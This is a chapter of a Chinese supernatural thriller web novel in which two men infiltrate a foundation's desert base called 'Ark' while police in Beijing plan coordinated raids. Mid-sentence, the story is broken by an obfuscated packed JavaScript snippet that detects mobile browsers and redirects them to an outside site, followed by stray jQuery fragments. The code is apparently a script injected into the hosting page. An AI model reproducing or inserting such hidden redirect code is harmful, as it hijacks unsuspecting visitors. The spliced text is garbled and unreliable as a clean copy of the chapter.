27. 方舟之门

作品:《第147场雨

    当晚,陆予瞻敲开了君荼白的房门。


    他换了一身便于行动的衣服:黑色战术裤,深灰色衬衫,右手打着石膏吊在胸前,但左手提着一个沉重的装备箱。


    “准备好了吗?”他问。


    君荼白看了一眼那个箱子:“里面是什么?”


    “行动需要的装备。”陆予瞻把箱子放在地上,打开:刻满符文的铜镜、朱砂笔、黄符纸、还有几个装着不明液体的小瓶子。


    “这是……”


    “基金会用科学结合巫蛊,我们也要用同样的方式对付他们。”陆予瞻拿起一个瓶子,里面是暗红色的粘稠液体,“黑狗血混合雷击木的灰烬,能干扰频率发生器的能量场。这些符文镜可以反射jing神攻击,黄符纸……”


    他顿了顿。


    “是用来封印的。”


    “封印什么?”


    陆予瞻没有直接回答。他合上箱子,看向君荼白:“荼白,北美之行会很危险。‘方舟’的安保级别是亚洲据点的五倍,而且林墨生很可能已经知道我们来了。现在退出还来得及。”


    君荼白摇头:“那些孩子等不了。而且……”


    他看向陆予瞻打着石膏的右手。


    “你的手……”


    “不影响。”陆予瞻活动了一下左手手指,“这些年,我两只手都能用。只是平时习惯用左手,右手……留作底牌。”


    君荼白突然想起立交桥下的战斗,陆予瞻用手持血刃切开敌人喉咙的画面。那一看就不是临时学会的招式,那是经过千锤百炼的杀技。


    “你到底是什么时候学会这些的?”他问。


    陆予瞻沉默了很久。


    “从你第一世死的那天开始。”他最终说,“我看着你倒在血泊里,看着那些人笑着离开。那时候我就知道,温柔救不了人,规矩杀不了鬼。要对付他们,得变成比他们更可怕的东西。”


    他的声音很平静,但君荼白听出了里面的重量。


    一百四十七世。


    陆予瞻在每一世里学习、准备、隐藏,把所有温柔留给君荼白,把所有黑暗留给自己。他学会了用左手冲咖啡,学会了用右手杀人,学会了在温和的微笑下藏起血淋淋的刀刃。


    “值得吗?”君荼白轻声问。


    陆予瞻笑了。


    那个笑容很淡,但很真实。


    “只要你活着,就值得。”


    ——


    凌晨四点,他们出发了。


    沈鉴继续研究净化方法和破解基金会的内部网络,如有必要会移交警方协助清剿据点。君荼白和陆予瞻乘坐深夜航班飞往洛杉矶,再从洛杉矶转乘一架小型私人飞机。飞行员是陆予瞻多年前安排的暗线,可靠,且不问多余的问题。


    飞机穿过云层时,君荼白看着窗外漆黑的夜空,突然问:“周屹最后……有给你留下什么话吗?”


    陆予瞻坐在他对面,正在检查装备。闻言,他动作停了一下。


    “有。”他说,但没有抬头,“他说,对不起。”


    “对不起什么?”


    “他说对不起不能继续保护你了。”陆予瞻抬起头,茶色瞳孔在机舱昏暗的光线下显得有些深邃,“也对不起……要把这些事都留给你。”


    君荼白闭上眼睛。


    他想起了周屹最后回头时说的那几个字。


    对不起。


    好好活。


    他知道那不是请求,是命令。是一个用永恒换来的、必须执行的命令。


    “我们会让他弟弟轮回的。”君荼白说,“小屿,还有所有孩子。我会让他们都回家。”


    陆予瞻点头,重新低头检查装备。


    但他的手指在某个符文镜上停留了很久,指腹轻轻摩挲着镜面边缘。


    那里刻着一行极小的字,是古蛊文。


    那句话是:“愿以我魂,换汝长安。”


    是周屹刻上去的。


    在决定牺牲之前,他用最后的时间,在每一件装备上都刻了这句话。


    陆予瞻的手指在那行字上停留了很久,然后,他合上箱子,看向窗外的云海。


    飞机正在穿过对流层,机身有些颠簸。


    十小时后,内华达沙漠。


    地表温度四十七度,热浪扭曲着远处的景象。君荼白和陆予瞻穿着伪装成地质勘探人员的服装,开着一辆改装过的越野车,沿着废弃的矿道深入沙漠腹地。


    “方舟的入口在三十公里外的一个废弃铀矿。”陆予瞻看着导航,“但那条路有监控,我们得走另一条路,地下暗河。”


    他调出一张老地图,上面标着一条几乎被遗忘的地下河道。那是上世纪五十年代探矿时发现的,后来因为辐射超标被封闭。


    “辐射怎么办?”君荼白问。


    陆予瞻从装备箱里取出两枚玉佩:“避秽符,能抵挡三小时。够了。”


    他们在一个隐蔽的峡谷口停下,找到了那个被铁栅栏封住的矿洞入口。栅栏上挂着“危险!辐射区!禁止入内!”的牌子,锈迹斑斑,看起来已经几十年没人动过了。


    陆予瞻用左手轻松地拆掉了,手法专业得像拆过无数次。


    “进去后跟紧我。”他说,“暗河里有东西。”


    “什么东西?”


    “基金会放的‘守门员’。”陆予瞻先钻了进去,“用辐射变异过的生物,结合蛊术改造。不是活物,但比活物更麻烦。”


    君荼白跟着钻进去。矿洞里很黑,只有头灯的光束切开黑暗。空气里有浓重的霉味和化学试剂的气味,地面潮湿,踩上去会发出黏腻的声音。


    走了大约五百米,前方传来水声。


    一条地下河,河水漆黑,散发着诡异的荧光。河面上漂浮着一些白色的、像水母一样的东西,随着水流缓缓蠕动。


    “那是什么?”君荼白压低声音。


    “意识水母。”陆予瞻从包里掏出一把朱砂,撒进河里,“基金会用人类脑组织培养出来的,能感知思维波动。如果被它们缠上,会陷入幻觉。”


    朱砂接触到河水,发出滋滋的声音。那些白色水母像是被烫到一样,迅速沉入水底。


    “走。”陆予瞻率先踏入河中。


    河水冰冷刺骨,深及腰部。君荼白跟着下去,头灯的光束在漆黑的水面上晃动。他能感觉到水下有什么东西在游动,碰到他的腿,又快速游开。


    走到河中央时,陆予瞻突然停下。


    “等等。”他说,举起左手。


    前方水面上,浮现出一个巨大的影子。


    是一个人形的东西,但有三米高,身体半透明,能看见里面扭曲的骨骼和蠕动的内脏。它没有脸,只有一个巨大的、空洞的嘴。


    “辐射畸变体。”陆予瞻低声说,“生前是矿工,死后被基金会改造。它靠吸收精神能量为生,最喜欢……痛苦的情绪。”


    怪物张开了嘴。


    它没有发出声音,但君荼白感到一阵剧烈的头痛,仿佛有什么东西在撕扯他的大脑。记忆碎片不受控制地涌上来:仓库,烙铁,枪声,死亡……


    陆予瞻从口袋里掏出一枚铜钱,和定魂钱很像,但更古老,上面刻着密密麻麻的符文。


    他将铜钱贴在额头,念了一句什么。


    然后,他的眼睛变成了全黑。眼白和瞳孔都消失了,只剩下两个深不见底的黑洞。


    怪物像是感到了恐惧,后退了一步。


    但陆予瞻已经冲了过去。他左手按在怪物胸口,那只还打着石膏的右手猛地一扯。


    君荼白看见一团暗红色的、像烟雾一样的东西从怪物体内被扯了出来。怪物发出无声的尖叫,身体开始崩溃、溶解,最后化为一滩黑色的液体,融入河水。


    陆予瞻踉跄了一下,扶着岩壁才站稳。他的眼睛恢复正常,但脸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17052023|194818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    色苍白得可怕,右手的石膏裂开了一道缝,有血渗出来。


    “陆队——”君荼白冲过去扶住他。


    “没事。”陆予瞻摆摆手,喘了几口气,“只是……扯出了它的核心意识。这种东西活着比死了痛苦,我给了它解脱。”


    在地下河的尽头,君荼白隐约可以看到一扇巨大的金属门。


    门的上方,有一个发光的标志:一艘船,在波浪上航行。


    方舟。


    他们到了。


    “记住。”陆予瞻最后说,“进去后,不要相信你看到的任何东西。基金会最擅长制造幻觉,尤其是针对……我们这种有创伤记忆的人。”


    君荼白点头。


    两人涉过最后一段河水,来到那扇门前。


    门没有锁,但门缝里渗出一股熟悉的、令人作呕的气味。那是福尔马林混合着血腥的气味。君荼白在第一世的仓库里,临死前闻到的最后一种气味。


    门内,传来轻微的、像是玻璃器皿碰撞的声音。还有……很多人的呼吸声。但那些呼吸声,太整齐了,整齐得不像是活人。


    陆予瞻用左手推开了门。门后,是一个巨大的、洁白得刺眼的空间。空间里,整齐排列着上百个培养舱。


    每个舱里,都悬浮着一个孩子。


    他们都睁着眼睛,看着门口。


    他们看着君荼白和陆予瞻。


    然后,上百个孩子,同时笑了


    ————


    同一时间,北京。


    沈鉴站在市公安局特别行动指挥中心,面前是六块显示屏,分别显示着上海、广州、成都等地的实时卫星图像。他身边站着刑侦支队队长郑国强,一个两鬓微白、眼神犀利的中年人。


    “沈教授,你提供的证据足够我们申请搜查令了。”郑国强指着屏幕,“但这几个地方同时行动,我们需要确切的时间点。”


    沈鉴看了眼腕表:“内华达州时间凌晨三点整,君荼白会切断‘方舟’的主能源。那时,所有据点的外部防御会失效五分钟。你们必须在五分钟内突破第一道防线,否则备用系统启动,人质会有危险。”


    “人质?”郑国强皱眉。


    “每个据点地下都关押着至少三十名‘记忆供体’。”沈鉴调出一份文件,“集团通过医疗诈骗、人口贩卖等方式绑架受害者,提取他们的痛苦记忆并制成‘忆晶石’。还活着的,都处于半植物人状态。”


    指挥中心陷入短暂的沉默。一名年轻警员忍不住问:“他们怎么敢...”


    “因为他们认为自己在创造永恒。”沈鉴声音低沉,“林墨生,集团创始人,前神经科学家。他的妻子三十年前死于阿尔茨海默症,从那天起,他执着于将人类意识从脆弱的□□中解放。”


    郑国强握紧拳头:“所以他贩卖痛苦?用别人的地狱来搭建自己的天堂?”


    “更糟。”沈鉴调出另一组数据,“他相信只有极致的痛苦才能淬炼出‘纯粹的意识’,因此刻意制造和收集创伤。集团高层的记忆都被清洗过,只留下愉悦部分,而痛苦则被储存、交易、甚至...品尝。”


    指挥中心响起压抑的吸气声。


    “内华达州行动开始后,我会留在这里协助破解各据点的内部安防。”沈鉴说,“但我需要你们的人配合一件事,在每个据点寻找数字线索:3-17-24-71。”


    “那个求救密码?”郑国强想起沈鉴之前提交的报告。


    “周屹进入镜渊后传递了一条信息,说这个密码不仅指向位置,还指向时间。”沈鉴眼神凝重,“我们破解了位置——六大据点和公海实验室,但时间维度仍未解开。我担心...”


    他话未说完,主屏幕上突然出现警报:成都据点的能量读数异常上升。


    “他们在提前激活什么。”沈鉴快速操作控制台,“郑队,必须马上行动。时间可能比我们想的更少。”